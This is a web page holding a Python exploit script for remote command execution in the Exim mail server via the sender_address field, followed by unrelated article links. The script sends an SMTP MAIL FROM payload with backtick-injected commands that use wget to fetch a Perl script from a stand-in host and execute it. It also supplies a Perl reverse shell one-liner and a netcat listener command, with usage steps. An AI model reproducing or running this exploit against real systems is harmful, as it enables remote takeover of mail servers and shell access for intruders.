Exim sender_address Remote Command Execution

简介: #!/usr/bin/env python #######################################################################...
#!/usr/bin/env python
 
##################################################################################
##      Exim sender_address Parameter - Remote Command Execution Exploit        ##
##################################################################################
##                                                                              ##
## Vulnerability found by RedTeam Pentesting GmbH                               ##
## https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/              ##
##                                                                              ##
## Exploit written by eKKiM                                                     ##
## http://rdtx.eu/exim-with-dovecot-lda-rce-exploit/                            ##
##                                                                              ##
##################################################################################
##                                    USAGE                                     ##
##################################################################################
##                                                                              ##
## Edit the PERL REVERSE SHELL MY_CONNECTBACK_IP and MY_CONNECTBACK_PORT and   ##
## upload this perl reverse shell script to a webserver.                        ##
##                                                                              ##
## Edit the PERL_SHELL variable to your own connectback script URL              ##
##                                                                              ##
## Start a listener: nc -vvn -l -p CONNECT_BACK_PORT                            ##
##                                                                              ##
## Let the exploitin begin                                                      ##
##                                                                              ##
##################################################################################
 
 
####### PERL REVERSE SHELL #######
## use Socket;$i="MY_CONNECTBACK_IP";$p=MY_CONNECTBACK_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
####### PERL REVERSE SHELL #######
 
 
import socket
import sys
 
####### URL TO YOUR CONNECTBACK SHELL #######
PERL_SHELL = "myhost.com/shell.pl"
####### URL TO YOUR CONNECTBACK SHELL #######
 
if len(sys.argv) != 2:
    print "Usage: exim_exploit.py <target_ip> <optional_rcpt_address>"
    print " <target_ip> target you want to test"
    print " <optional_rcpt_address> an address which is accepted by exim (default: postmaster@localhost)"
    exit(1)
 
RCPT_TO = "postmaster@localhost"
HOST = sys.argv[1]
PORT = 25
 
def read_line(s):
    ret = ''
 
    while True:
        c = s.recv(1)
 
        if c == '\n' or c == '':
            break
        else:
            ret += c
 
    return ret
 
 
if len(sys.argv) == 3:
    RCPT_TO = sys.argv[2]
     
print "Exim sender_address Parameter - Remote Command Execution Exploit"
print "Bug discovered by RedTeam Pentesting GmbH"
print "Exploit created by eKKiM"
print ""
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
 
data = read_line(s);
if not(data.startswith("220")):
    print "[ERROR] Is it SMTP Server?"
    exit(1)
     
s.send("EHLO domain.local\n")
s.recv(4096)
 
s.send("MAIL FROM: x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}" + PERL_SHELL + "``perl${IFS}/tmp/p.pl`@blaat.com\n")
 
data = read_line(s);
if not(data.startswith("250")):
    print "[ERROR] MAIL FROM not accepted"
    exit(1)
 
s.send("RCPT TO: " + RCPT_TO + "\n")
data = read_line(s);
if not(data.startswith("250")):
    print "[ERROR] RCPT_TO not accepted"
    exit(1)
 
s.send("DATA\n")
data = read_line(s);
if not(data.startswith("354")):
    print "[ERROR] Cannot send email content"
    exit(1)
     
s.send("x\n.\n")
data = read_line(s);
if not(data.startswith("250")):
    print "[ERROR] email content revoked"
    exit(1)
     
print "[OK] Recieved shell?"
 
s.close()

目录
相关文章
|
9月前
|
敏捷开发 监控 数据可视化
敏捷开发的6大方法与模型,帮助你快速适应项目需求变化
3分钟了解6种常见的敏捷开发方法,包括Scrum,看板Kanban,极限编程(XP),DSDM、特征驱动开发和水晶法等方法。
1017 5
敏捷开发的6大方法与模型,帮助你快速适应项目需求变化
|
10月前
|
弹性计算 Serverless 调度
面向Workload级别的灵活可配置Serverless弹性解决方案
Serverless作为云计算的延伸,能提供按需弹性伸缩的能力,让开发者无需关心具体资源部署,优化资源使用,因而被众多云厂商采用本文将介绍四种资源可配置插件,探讨它们的核心能力、技术原理,以及在实际应用中的优劣势。
|
11月前
|
安全 算法 网络安全
量子计算与网络安全:保护数据的新方法
量子计算的崛起为网络安全带来了新的挑战和机遇。本文介绍了量子计算的基本原理,重点探讨了量子加密技术,如量子密钥分发(QKD)和量子签名,这些技术利用量子物理的特性,提供更高的安全性和可扩展性。未来,量子加密将在金融、政府通信等领域发挥重要作用,但仍需克服量子硬件不稳定性和算法优化等挑战。
|
11月前
|
算法 测试技术
模块化设计具体应该怎么做呢
【10月更文挑战第22天】模块化设计具体应该怎么做呢
|
自然语言处理 搜索推荐 安全
未来智能助手的发展与应用前景
随着人工智能技术的快速发展,智能助手正逐步走向更加智能化、个性化的方向。本文探讨了智能助手技术的当前状态及其未来的发展趋势,分析了其在各个领域的应用前景,并对未来可能的技术挑战进行了探讨。 【7月更文挑战第10天】
963 3
|
Linux Apache 弹性计算
|
弹性计算 负载均衡 小程序
阿里云服务器免费试用活动可试用配置、参与条件及规则汇总
2023阿里云服务器免费试用活动可试用配置、参与条件及规则汇总,阿里云服务器免费试用申请链接入口,阿里云个人用户和企业用户均可申请免费试用,最高可以免费使用3个月,阿里云服务器网分享阿里云服务器免费试用申请入口链接及云服务器配置
497 0
|
人工智能 小程序 机器人
AI配音 | 接近真人发音的机器人,小程序上线了!
而这一次,给大家带来的是小程序和更多播讲人的上线,合成更加方便,直接手机就能完成。
555 0
【VSCode】当前工作目录非当前文件夹/pathlib打印cwd路径错误
【VSCode】当前工作目录非当前文件夹/pathlib打印cwd路径错误
258 0
|
小程序 安全 JavaScript
HaaS技术社区大玩家,研究十几年嵌入式独爱HaaS
HaaS技术社区旨在推广物联网操作系统AliOS Things和HaaS云端钉全链路解决方案。HaaS技术涵盖物联网操作系统AliOS Things,JS轻应用,HaaS UI等软件积木,以及HaaS标准硬件和周边生态等硬件积木。HaaS为开发者提供了一种高效的积木的开发方式。
603 15
HaaS技术社区大玩家,研究十几年嵌入式独爱HaaS